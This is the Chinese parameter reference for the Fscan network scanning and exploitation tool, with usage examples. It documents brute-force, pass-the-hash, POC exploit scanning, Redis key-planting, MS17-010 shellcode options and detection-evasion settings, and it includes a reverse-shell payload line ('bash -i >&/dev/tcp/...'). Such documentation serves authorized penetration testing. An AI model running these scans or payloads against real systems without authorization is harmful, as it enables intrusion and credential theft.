# Fscan 参数完整文档 > **版本**: 2.0.2 > **更新日期**: 2025-01-06 ## 📋 目录 - [目标配置参数](#目标配置参数) - [扫描控制参数](#扫描控制参数) - [认证与凭据参数](#认证与凭据参数) - [Web扫描参数](#web扫描参数) - [POC测试参数](#poc测试参数) - [Redis利用参数](#redis利用参数) - [暴力破解控制参数](#暴力破解控制参数) - [输出与显示控制参数](#输出与显示控制参数) - [其他参数](#其他参数) - [使用示例](#使用示例) - [最佳实践](#最佳实践) --- ## 🎯 目标配置参数 | 参数 | 类型 | 默认值 | 描述 | 示例 | |-----|------|-------|------|------| | `-h` | string | - | **目标主机**: IP, IP段, 域名 | `-h 192.168.1.1` | | `-hf` | string | - | 主机文件路径 | `-hf hosts.txt` | | `-eh` | string | - | 排除主机列表 | `-eh 192.168.1.1,192.168.1.2` | | `-p` | string | 常用端口 | **扫描端口**: 单个端口、范围或列表 | `-p 80,443,1-1000` | | `-pf` | string | - | 端口文件路径 | `-pf ports.txt` | | `-ep` | string | - | 排除端口列表 | `-ep 80,443` | ### 端口格式说明 - **单个端口**: `80` - **端口列表**: `80,443,3389` - **端口范围**: `1-1000` - **组合使用**: `22,80,443,8080-8090` - **默认端口组**: `21,22,23,80,81,110,135,139,143,389,443,445,502,873,993,995,1433,1521,3306,5432,5672,6379,7001,7687,8000,8005,8009,8080,8089,8443,9000,9042,9092,9200,10051,11211,15672,27017,61616` --- ## ⚙️ 扫描控制参数 | 参数 | 类型 | 默认值 | 描述 | 示例 | |-----|------|-------|------|------| | `-m` | string | `all` | **扫描模式**: all, portscan, tcpscan等 | `-m portscan` | | `-t` | int | `600` | **端口扫描线程数** | `-t 1000` | | `-time` | int | `3` | 端口扫描超时时间(秒) | `-time 5` | | `-mt` | int | `10` | 模块线程数 | `-mt 20` | | `-gt` | int | `180` | 全局超时时间(秒) | `-gt 300` | | `-np` | bool | `false` | **禁用ping探测** | `-np` | | `-fingerprint` | bool | `false` | **启用服务指纹识别** | `-fingerprint` | | `-local` | bool | `false` | 本地扫描模式 | `-local` | ### 扫描模式说明 - **`all`** (默认): 完整扫描 (端口+服务+漏洞) - **`portscan`**: 仅端口扫描 - **`tcpscan`**: TCP端口扫描 - **`udpscan`**: UDP端口扫描 - **`icmp`**: ICMP存活探测 - **自定义模式**: 可指定特定插件名称 --- ## 🔐 认证与凭据参数 | 参数 | 类型 | 默认值 | 描述 | 示例 | |-----|------|-------|------|------| | `-user` | string | - | **用户名** | `-user admin` | | `-pwd` | string | - | **密码** | `-pwd password123` | | `-usera` | string | - | 额外用户名列表 | `-usera "admin,root,test"` | | `-pwda` | string | - | 额外密码列表 | `-pwda "123456,password"` | | `-userf` | string | - | 用户名字典文件 | `-userf users.txt` | | `-pwdf` | string | - | 密码字典文件 | `-pwdf passwords.txt` | | `-domain` | string | - | **SMB域名** | `-domain COMPANY` | | `-hash` | string | - | 哈希值 (用于哈希传递攻击) | `-hash ntlmhash` | | `-hashf` | string | - | 哈希文件 | `-hashf hashes.txt` | | `-sshkey` | string | - | **SSH私钥文件路径** | `-sshkey ~/.ssh/id_rsa` | --- ## 🌐 Web扫描参数 | 参数 | 类型 | 默认值 | 描述 | 示例 | |-----|------|-------|------|------| | `-u` | string | - | **目标URL** | `-u http://example.com` | | `-uf` | string | - | URL文件 | `-uf urls.txt` | | `-cookie` | string | - | **HTTP Cookie** | `-cookie "session=abc123"` | | `-wt` | int | `5` | Web请求超时时间(秒) | `-wt 10` | | `-proxy` | string | - | **HTTP代理** | `-proxy http://127.0.0.1:8080` | | `-socks5` | string | - | **SOCKS5代理** | `-socks5 127.0.0.1:1080` | --- ## 🔍 POC测试参数 | 参数 | 类型 | 默认值 | 描述 | 示例 | |-----|------|-------|------|------| | `-pocname` | string | - | **指定POC名称** | `-pocname "weblogic"` | | `-pocpath` | string | - | **自定义POC路径** | `-pocpath ./mypocs/` | | `-nopoc` | bool | `false` | 禁用POC扫描 | `-nopoc` | | `-full` | bool | `false` | **全量POC扫描** | `-full` | | `-num` | int | `20` | POC并发数 | `-num 50` | | `-dns` | bool | `false` | DNS日志记录 | `-dns` | --- ## 📡 Redis利用参数 | 参数 | 类型 | 默认值 | 描述 | 示例 | |-----|------|-------|------|------| | `-rf` | string | - | **Redis公钥文件** | `-rf ~/.ssh/id_rsa.pub` | | `-rs` | string | - | **Redis反弹Shell** | `-rs "bash -i >&/dev/tcp/ip/port 0>&1"` | | `-noredis` | bool | `false` | 禁用Redis扫描 | `-noredis` | | `-rwp` | string | - | Redis写入路径 | `-rwp /tmp/` | | `-rwc` | string | - | Redis写入内容 | `-rwc "malicious content"` | | `-rwf` | string | - | Redis写入文件 | `-rwf ./payload.txt` | --- ## 🔓 暴力破解控制参数 | 参数 | 类型 | 默认值 | 描述 | 示例 | |-----|------|-------|------|------| | `-nobr` | bool | `false` | **禁用暴力破解** | `-nobr` | | `-retry` | int | `3` | 连接失败最大重试次数 | `-retry 5` | --- ## 📤 输出与显示控制参数 | 参数 | 类型 | 默认值 | 描述 | 示例 | |-----|------|-------|------|------| | `-o` | string | `result.txt` | **输出文件路径** | `-o scan_results.txt` | | `-f` | string | `txt` | **输出格式**: txt, json, csv | `-f json` | | `-no` | bool | `false` | 禁用结果保存 | `-no` | | `-silent` | bool | `false` | **静默模式** | `-silent` | | `-nocolor` | bool | `false` | 禁用颜色输出 | `-nocolor` | | `-log` | string | `BASE_INFO_SUCCESS` | **日志级别** | `-log ALL` | | `-nopg` | bool | `false` | **禁用进度条** | `-nopg` | ### 日志级别说明 - **`ALL`**: 显示所有日志 - **`ERROR`**: 仅显示错误 - **`BASE`**: 基础信息 - **`INFO`**: 详细信息 - **`SUCCESS`**: 成功结果 - **`DEBUG`**: 调试信息 - **`BASE_INFO_SUCCESS`** (默认): 基础+信息+成功 --- ## 🔧 其他参数 | 参数 | 类型 | 默认值 | 描述 | 示例 | |-----|------|-------|------|------| | `-sc` | string | - | **Shellcode** (用于MS17010等) | `-sc shellcode.bin` | | `-lang` | string | `zh` | **语言设置**: zh, en | `-lang en` | | `-help` | bool | `false` | **显示帮助信息** | `-help` | --- ## 💡 使用示例 ### 基础扫描示例 ```bash # 1. 基础主机扫描 fscan.exe -h 192.168.1.1 # 2. 网段扫描 fscan.exe -h 192.168.1.0/24 # 3. 指定端口扫描 fscan.exe -h 192.168.1.1 -p 80,443,8080 # 4. 端口范围扫描 fscan.exe -h 192.168.1.1 -p 1-1000 # 5. 从文件读取目标 fscan.exe -hf targets.txt -p 80,443 ``` ### 高级扫描示例 ```bash # 6. 服务指纹识别 fscan.exe -h 192.168.1.1 -fingerprint # 7. 完整扫描 (包括POC) fscan.exe -h 192.168.1.1 -full # 8. 静默模式扫描 fscan.exe -h 192.168.1.1 -silent -o results.json -f json # 9. 高性能扫描 fscan.exe -h 192.168.1.0/24 -t 1000 -time 1 -np # 10. Web应用扫描 fscan.exe -u http://example.com -full ``` ### 认证扫描示例 ```bash # 11. SMB扫描带认证 fscan.exe -h 192.168.1.1 -user administrator -pwd password -domain COMPANY # 12. SSH密钥认证 fscan.exe -h 192.168.1.1 -sshkey ~/.ssh/id_rsa # 13. 暴力破解扫描 fscan.exe -h 192.168.1.1 -userf users.txt -pwdf passwords.txt # 14. 禁用暴力破解 fscan.exe -h 192.168.1.1 -nobr ``` ### 特殊用途示例 ```bash # 15. Redis利用 fscan.exe -h 192.168.1.1 -rf ~/.ssh/id_rsa.pub # 16. 代理扫描 fscan.exe -h 192.168.1.1 -proxy http://127.0.0.1:8080 # 17. 指定POC测试 fscan.exe -h 192.168.1.1 -pocname weblogic # 18. 仅端口扫描 fscan.exe -h 192.168.1.1 -m portscan ``` --- ## 🏆 最佳实践 ### 🚀 性能优化 ```bash # 高性能内网扫描 fscan.exe -h 192.168.1.0/24 -t 1000 -time 1 -np -nobr # 快速端口发现 fscan.exe -h target -m portscan -t 2000 -time 1 # 轻量级服务识别 fscan.exe -h target -fingerprint -nobr -nopoc ``` ### 🛡️ 隐蔽扫描 ```bash # 慢速扫描避免检测 fscan.exe -h target -t 10 -time 10 -slow # 通过代理扫描 fscan.exe -h target -proxy http://proxy:8080 -t 50 ``` ### 📊 结果输出 ```bash # JSON格式便于处理 fscan.exe -h target -f json -o results.json # 静默模式仅保存结果 fscan.exe -h target -silent -o results.txt # 详细日志调试 fscan.exe -h target -log ALL -sp ``` ### 🎯 针对性扫描 ```bash # Web应用专项 fscan.exe -u http://target -full -cookie "session=xxx" # 数据库专项 fscan.exe -h target -p 1433,3306,5432,6379 -fingerprint # Windows主机专项 fscan.exe -h target -p 135,139,445,3389 -domain COMPANY ``` --- ## ⚠️ 注意事项 1. **性能调优**: - 内网扫描可使用 `-t 1000` 提高速度 - 互联网扫描建议 `-t 100` 避免被限制 2. **权限要求**: - ICMP需要管理员权限 - 某些端口扫描可能需要提升权限 3. **网络环境**: - 防火墙可能影响扫描结果 - 代理环境下注意配置 `-proxy` 或 `-socks5` 4. **法律合规**: - 仅在授权环境下使用 - 遵守相关法律法规 --- **📞 技术支持**: [https://fscan.club](https://fscan.club) **🐛 问题反馈**: [GitHub Issues](https://github.com/shadow1ng/fscan/issues)